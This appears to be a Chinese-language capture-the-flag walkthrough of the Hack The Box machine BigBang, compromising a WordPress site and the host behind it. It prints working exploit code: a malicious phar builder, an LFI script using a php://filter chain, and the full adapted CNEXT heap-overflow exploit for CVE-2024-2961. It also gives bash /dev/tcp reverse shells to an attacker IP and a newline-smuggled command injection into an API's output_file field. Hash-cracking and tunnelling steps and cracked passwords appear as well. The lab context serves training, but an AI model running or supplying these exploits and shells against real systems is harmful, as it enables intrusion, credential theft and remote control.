
USER
nmap -T4 -v -A -Pn 10.10.11.52 -oN bigbang.txt

可以发现一个 blog.bigbang.htb
都会跳转到这个子域名, WordPress 框架

主页暂时没有其他信息,扫一下目录
ffuf -w /home/kali/dict/fuzzDicts/directoryDicts/dicc.txt -u "http://blog.bigbang.htb/FUZZ" -c -fc 403

基本都是一些WordPress 界面,可以知道其实是有插件的,但是有验证,无法查看
抓包可以看到有一个buddyforms 插件

target 处也可以看见一些接口

http://blog.bigbang.htb/wp-admin/admin-ajax.php
http://blog.bigbang.htb/wp-admin/upload.php
针对我们刚刚看到的buddyforms 插件,有一个漏洞CVE-2023-26326
利用的话就是
创建恶意 phar 文件
通过 upload_image_from_url 操作将恶意 phar 文件作为图像上传
使用相同的操作使用 phar:// 包装器调用文件
先创建一个 phar
<?php
// evil.php
class Evil {
public function __wakeup() : void {
// Trigger behavior to confirm deserialization
file_put_contents('/tmp/phar_triggered.txt', "PHAR deserialized at " . date('Y-m-d H:i:s') . "\n", FILE_APPEND);
}
}
// Create a new PHAR file
$phar = new Phar('evil.phar');
$phar->startBuffering();
// Add a dummy file (PHAR content)
$phar->addFromString('test.txt', 'text');
// Set the PHAR stub (disguising it as a GIF with "Hello World")
$phar->setStub("GIF89a\n<?php __HALT_COMPILER(); ?>\n<?php printf('Hello World'); ?>");
// Add an object of the Evil class as metadata
$object = new Evil();
$phar->setMetadata($object);
$phar->stopBuffering();
然后用命令执行,需要设置phar.readonly=0,不然会禁止创建可以读写的 phar 文件
php --define phar.readonly=0 evil.php


然后使用命令来上传,攻击/wp-admin/admin-ajax.php(但是没办法通过他来读取目标本地的文件上传 ,无法打 LFI)
curl 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' -v \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "action=upload_image_from_url&id=1&accepted_files=image/gif&url=http://10.10.14.70/evil.phar"


但是还可以这样测试,我们利用 php 伪协议
export evil_url='php://filter/convert.base64-encode|convert.base64-decode/resource=../wp-content/uploads/2025/01/1-1.png'
curl 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' -v \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "action=upload_image_from_url&id=1&accepted_files=image/gif&url=php://filter/convert.base64-encode|convert.base64-decode/resource=../wp-content/uploads/2025/01/1-1.png"

成功,接下来可以用 wrapwrap.py 生成一个php://filter 利用链
python wrapwrap.py '/etc/passwd' 'GIF89a' '' 450000

export evil_url="php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passwd"
curl 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' -v \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "action=upload_image_from_url&id=1&accepted_files=image/gif&url=${evil_url}"
成功达成间接任意文件读取

可以写一个脚本 lfi.py 依靠wrapwrap 生成的 php://filter 链用来进行这一系列的操作(白嫖一下群友的,顺产哪有顺手快)
import requests
import sys
import json
# Base URL for the target
BASE_URL = "http://blog.bigbang.htb/wp-admin/admin-ajax.php"
# Headers for the POST request
HEADERS = {
"Content-Type": "application/x-www-form-urlencoded",
}
# Prefix for php://filter chain
chain_prefix = "php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource="
def send_lfi_request(file_to_read):
"""Send the LFI request with the given file to read."""
data = "action=upload_image_from_url&id=1&accepted_files=image/gif&url=" \
+ chain_prefix + file_to_read
try:
response = requests.post(BASE_URL, headers=HEADERS, data=data)
if response.status_code == 200:
return response
else:
print(f"[-] Error: Received status code {response.status_code}")
except Exception as e:
print(f"[-] Exception occurred during LFI request: {e}")
return None
def parse_lfi_response(response):
try:
result = response.json()
if result.get("status") == "OK":
return result.get("response", None)
else:
print(f"[-] Error: Status is not OK. Raw Response: {response.text}")
except json.JSONDecodeError:
print(f"[-] Error: Failed to decode JSON response. Raw Response: {response.text}")
except Exception as e:
print(f"[-] Unexpected error: {e}")
return None
def fetch_file_contents(file_url):
"""Fetch the contents of the file from the given URL."""
try:
file_response = requests.get(file_url)
if file_response.status_code == 200:
return file_response.text
else:
print(f"[-] Error: Failed to retrieve file. Status code: {file_response.status_code}")
except Exception as e:
print(f"[-] Exception occurred while fetching the file: {e}")
return None
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python LFI.py <file_to_read>")
sys.exit(1)
file_to_read = sys.argv[1]
print(f"[+] Attempting to read file: {file_to_read}")
# Step 1: Send the LFI request
response = send_lfi_request(file_to_read)
if not response:
print("[-] Failed to send LFI request. Exiting...")
sys.exit(1)
# Step 2: Parse the response and get the file URL
file_url = parse_lfi_response(response)
if not file_url:
print("[-] Failed to parse the response. Exiting...")
sys.exit(1)
print(f"[+] File URL: {file_url}")
# Step 3: Fetch and decode the file contents
file_contents = fetch_file_contents(file_url)
if file_contents:
print("[+] File Contents:")
print(file_contents)
else:
print("[-] Failed to fetch file contents")
但是 php 有一个CVE-2024-2961,glibc 的 iconv()中存在缓冲区溢出,可以将 LFI 提升为 rce
学到一个很基础的知识,php 本身由 c 写,所以很多函数都是 c 来完成的
自己本身对缓冲区溢出,二进制这一块不太熟练,以后加强锻炼
这里本身给到的 cnext-exploit.py 没有办法直接完成利用,所以需要通过嵌入 lfi.py 中的函数逻辑来修改辅助类 Remote
#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#
from __future__ import annotations
import base64
import zlib
import urllib.parse
import urllib
from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError
from pwn import *
from ten import *
HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
# Prefix for php://filter chain used in LFY.py
chain_prefix = "php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource="
# Modify the helper class
class Remote:
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends the payload and processes the response."""
# Construct the POST request as in lfi.py
data = {
"action": "upload_image_from_url",
"url": chain_prefix + path,
"id": "1",
"accepted_files": "image/gif"
}
HEADERS = {
"Content-Type": "application/x-www-form-urlencoded",
}
# Simplify the return logic from PoC
return self.session.post(self.url, headers=HEADERS, data=data)
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
# Extract error text
response = response.json()['response']
# Filter "File type not allowed"
if 'File type' in response:
print(response)
return b''
# Get the uploaded file content
response = self.session.get(response)
# Remove GIF header
data = response.content[6:]
return data
@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
"pad",
"Number of 0x100 chunks to pad with. If the website makes a lot of heap "
"operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
"""CNEXT exploit: RCE using a file read primitive in PHP."""
url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20
def __post_init__(self):
self.remote = Remote(self.url)
self.log = logger("EXPLOIT")
self.info = {}
self.heap = self.heap and int(self.heap, 16)
def check_vulnerable(self) -> None:
"""Checks whether the target is reachable and properly allows for the various
wrappers and filters that the exploit needs.
"""
def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
except ConnectionError:
failure("Target not [b]reachable[/] ?")
def check_token(text: str, path: str) -> bool:
result = safe_download(path)
return text.encode() == result
# Produce a random Unicode string.
text = tf.random.string(50).encode()
base64 = b64(text, misalign=True).decode()
# Create a URI for PHP like data:// wrapper.
path = f"data:text/plain;base64,{base64}"
result = safe_download(path)
if text not in result:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")
msg_info("The [i]data://[/] wrapper works")
# Check if `php://filter` protocol works
# Disguise the payload as an image to bypass file-type check
text = 'GIF89a' + tf.random.string(50)
base64 = b64(text.encode(), misalign=True).decode()
path = f"php://filter//resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]php://filter/[/] wrapper does not work")
msg_info("The [i]php://filter/[/] wrapper works")
# Check if zlib category is available on the remote server
text = tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]zlib[/] extension is not enabled")
msg_info("The [i]zlib[/] extension is enabled")
# Bypassing all checks will come to this branch
msg_success("Exploit preconditions are satisfied")
def get_file(self, path: str) -> bytes:
"""A wrapper for Rmote.download"""
with msg_status(f"Downloading [i]{path}[/]..."):
return self.remote.download(path)
def get_regions(self) -> list[Region]:
"""
Obtains the memory regions of the PHP process by querying /proc/self/maps.
We use `php://filter//resource=data:text/plain;base64,...` to read files
The content embedded in the corresponding response is Base64 encoded
So decode it by complementing the format
"""
leaked_maps = self.get_file("/proc/self/maps")
# maps = maps.decode()
maps = base64.decode(leaked_maps.decode('latin-1') + (4 - len(leaked_maps) % 4) * '=')
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
failure("Unable to parse memory mappings")
self.log.info(f"Got {len(regions)} memory regions")
return regions
def get_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
regions = self.get_regions()
"""
Get the matched libc version (2.36):
```
wget https://ftp.gnu.org/gnu/glibc/glibc-2.36.tar.gz
tar -xvf glibc-2.36.tar.gz
cd glibc-2.36
mkdir build && cd build
cd build
../configure --prefix=/custom/install/path
make -j$(nproc)
make install
```
And place it on current working directory
"""
LIBC_FILE = "./libc.so.6"
# PHP's heap
self.info["heap"] = self.heap or self.find_main_heap(regions)
msg_info(f'Heap address: {hex(self.info["heap"])}')
# Libc
libc = self._get_region(regions, "libc-", "libc.so")
# self.download_file(libc.path, LIBC_FILE) # Just a check point
self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start
def _get_region(self, regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")
return region
def download_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.get_file(remote_path)
Path(local_path).write(data)
def find_main_heap(self, regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE-1) == 0
and region.path in ("", "[anon:zend_alloc]")
]
if not heaps:
failure("Unable to find PHP's main heap in memory")
first = heaps[0]
if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")
return first
def run(self) -> None:
# self.check_vulnerable() # Just a check point
self.get_symbols_and_addresses()
self.exploit()
def build_exploit_path(self) -> str:
"""Heap overflow"""
LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
CS = 0x100
# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)
step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)
# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"
step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)
step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)
step3_size = CS
step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)
step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)
step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)
# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)
step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)
step4_use_custom_heap_size = 0x140
COMMAND = self.command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if self.sleep:
COMMAND = f"sleep {self.sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"
assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)
resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",
# Step 0: Setup heap
"dechunk",
"convert.iconv.L1.L1",
# Step 1: Reverse FL order
"dechunk",
"convert.iconv.L1.L1",
# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.L1.L1",
# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.L1.L1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path
@inform("Triggering...")
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()
try:
# self.remote.send(path)
"""
We cannot use the original function send(path) here.
Because we modify the `send` function to add extra prefix ahead of the "path"
to disguise it as an image,
while the format of "path" here is already processed by `build_exploit_path`
So just send the "path" to server straight forward!
"""
data = {'action' : 'upload_image_from_url',
'url' : urllib.parse.quote_plus(path),
'id' : '1',
'accepted_files' : 'image/gif'}
self.remote.session.post(self.url, data=data)
except (ConnectionError, ChunkedEncodingError):
pass
msg_print()
if not self.sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + self.sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use them!
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
msg_print()
def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]
def b64(data: bytes, misalign=True) -> bytes:
payload = base64.encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload.encode()
def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)
def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()
def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)
return bucket
def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"
@dataclass
class Region:
"""A memory region."""
start: int
stop: int
permissions: str
path: str
@property
def size(self) -> int:
return self.stop - self.start
Exploit()
执行反弹 shell 的命令
python cnext-exploit.py 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' 'bash -c "bash -i >& /dev/tcp/10.10.14.70/5566 0>&1"'
会需要一个./libc.so.6 文件,下载放在同一文件夹

运行反弹 shell


找一下 wordpress 的数据库配置文件

cat /var/www/html/wordpress/wp-config.php 查看一下
define( 'DB_USER', 'wp_user' );
define( 'DB_PASSWORD', 'wp_password' );
172.17.0.1

结果这个破 shell,什么都干不了,好家伙,docker 里面
ls -alh /.dockerenv

穿透一下
#客户端
./agent -connect 10.10.16.24:11601 -ignore-cert
#服务端
./start_ligolo.sh #kali执行,开启ligolo-ng网卡
./proxy -selfcert #kali执行,开启接受
[ligolo-ng] session
[ligolo-ng] ifconfig
sudo ip route add 172.17.0.0/24 dev ligolo
[ligolo-ng] start
sudo ip route del 172.17.0.0/16 dev ligolo
ligolo-ng 穿透后可以看到 ip 是 172.17.0.3,但是配置文件中数据库的 ip 是 172.17.0.1
而 ligolo-ng 穿透后就是无法远程连接到172.17.0.1,所以使用 chisel
./chisel server -p 8000 --reverse
./chisel client 10.10.14.70:8000 R:3306:172.17.0.1:3306


mysql -uwp_user -p -h 172.17.0.1 -P 3306 --skip-ssl

SHOW DATABASES;
use wordpress;
SHOW TABLES;
SELECT * FROM wp_users

root
$P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1
shawking
$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./
hashid hash.txt
可以知道是 phppass 加密

john --format=phpass hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

quantumphysics
ROOT
ssh [email protected]

发现有/opt/data/grafana.db,下载下来
sqlite3 grafana.db
.tables
select * from user
sqlite3 grafana.db ".dump" > dump.sql #也可以转储为sql数据库,更好查看

1|0|admin|admin@localhost||441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34|CFn7zMsQpf|CgJll8Bmss||1|1|0||2024-06-05 16:14:51|2024-06-05 16:16:02|0|2024-06-05 16:16:02|0|0|
2|0|developer|[email protected]|George Hubble|7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960|4umebBJucv|0Whk1JNfa3||1|0|0||2024-06-05 16:17:32|2025-01-20 16:27:39|0|2025-01-20 16:27:19|0|0|ednvnl5nqhse8d
但是后续感觉严重不对
再查看端口 ,有9090、3000
ss -tuln

还是用 chisel 带出来
./chisel server -p 8000 --reverse
./chisel client 10.10.14.70:8000 R:3000:127.0.0.1:3000 R:9090:127.0.0.1:9090
3000 端口有这样一个网页,grafana 是一个数据可视化和监控平台,那么刚刚数据库拿的 user 就有用了

echo '7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960:4umebBJucv' >>grafanahash.txt
hashcat -m 10900 grafanahash.txt /usr/share/wordlists/rockyou.txt
这里直接用就会犯和我一样的错
https://github.com/iamaldi/grafana2hashcat
需要将 grafanahash 转换为PBKDF2_HMAC_SHA256 格式,才能用于 hashcat 破解
python grafana2hash.py hash.txt

hashcat -m 10900 hash2.txt /usr/share/wordlists/rockyou.txt

成功登录到 grafana,同时这个密码还能登录到 ssh

ssh [email protected]

在/home/developer/android目录下发现satellite-app.apk
scp [email protected]:/home/developer/android/satellite-app.apk .
下载之后 apktools 反编译
apktool d satellite-app.apk -o satellite_app_decompiled
tree satellite_app_decompiled #查看目录结构

apkleaks 工具可以提前直接查找 apk 中的 url、port 等等
apkleaks -f satellite-app.apk
对应上了我们刚刚发现的 9090 端口

回到目录中,其中satellite_app_decompiled/smali 目录下是 APK 的反编译 Dalvik 字节码文件,可以通过查看文件代审看有没有漏洞

在/com/satellite/bigbang 目录下应该就是这个程序的主要内容,有一个 Activity 类
InteractionActivity.smali
:
可能是一个用于处理用户交互的 Activity,例如点击按钮、滑动等操作。
LoginActivity.smali
:
通常用于处理用户登录逻辑,例如输入用户名和密码、验证用户身份等。
MainActivity.smali
:
通常是应用程序的主界面,用户启动应用时首先看到的界面。
MoveCommandActivity.smali
:
可能与移动或控制相关的功能有关,例如发送移动指令或控制设备。
TakePictureActivity.smali
:
可能用于处理拍照功能,例如调用摄像头、保存图片等。
放到 jadx 中细看
其中MoveCommandActivity 和 TakePictureActivity 都有 access_token,所以肯定是需要身份认证的

先看MoveCommandActivity
总共 5 个实例字段,3 个用户输入,1 个检索 access_token,1 个检索token_expiry_time

页面上就应该是三个输入和一个按钮让用户输入和确认

点击查看View$OnClickListenerC0096b 这个监听器类
会将刚刚看到的三个输入对应成 xyz,解析成 json 对象,然后传入 case7:AsyncTaskC0228f

查看 AsyncTaskC0228f 类,这个类最终用来和 http://app.bigbang.htb:9090/ 交互

http://app.bigbang.htb:9090/command 应该就是认证后用来执行命令,他还带着一个Authorization 标头,这个标头,就是从最开始的MoveCommandActivity 的 f1999q 生成的
因为最开始实例View$OnClickListenerC0096b 对象传入的 7,就直接看的 case7,再看看 default
defaul 则是 q0.b 类,Q.d 类来拍照并保存图像,也是同 http://app.bigbang.htb:9090/command 交互


这里的output_file 由用户决定,灭有过滤../,可能会造成我们覆盖文件,但是利用没什么用
问题也就这里,如果我们后面拼接;
、&&
等再加上命令可能造成命令执行
根据我们最开始看到的,先获取 access_token
curl -X POST http://127.0.0.1:9090/login \
-d '{"username":"developer","password":"bigbang"}' \
-H "Content-Type: application/json"

为了等会儿方便,可以直接导入 token

其中View$OnClickListenerC0096b 有一个简单的预定义功能,可以让我们测试令牌是否成功

测试访问command 是否成功
curl -X POST http://127.0.0.1:9090/command \
-d '{"command":"move","x":10,"y":20,"z":30}' \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $access_token"
然后开始构造 payload
这里的 test.png 和 curl 10.10.xx.xx 之间的分隔符试了 ;
,&&
,|
,都没有成功,应该是有过滤,但是换行符 \n
可以成功
curl -X POST http://127.0.0.1:9090/command \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $access_token" \
-d '{"command": "send_image", "output_file": "test.png\n curl 10.10.14.70"}'


但是这里有过滤的话,我们就不能直接写反弹语句,我们可以用 developer 账户来创建一个 re 脚本
cat<<EOF>re.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.70/9001 0>&1
EOF

curl -X POST http://127.0.0.1:9090/command \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $access_token" \
-d '{"command": "send_image", "output_file": "test.png\n bash /tmp/re.sh"}'



Comments | NOTHING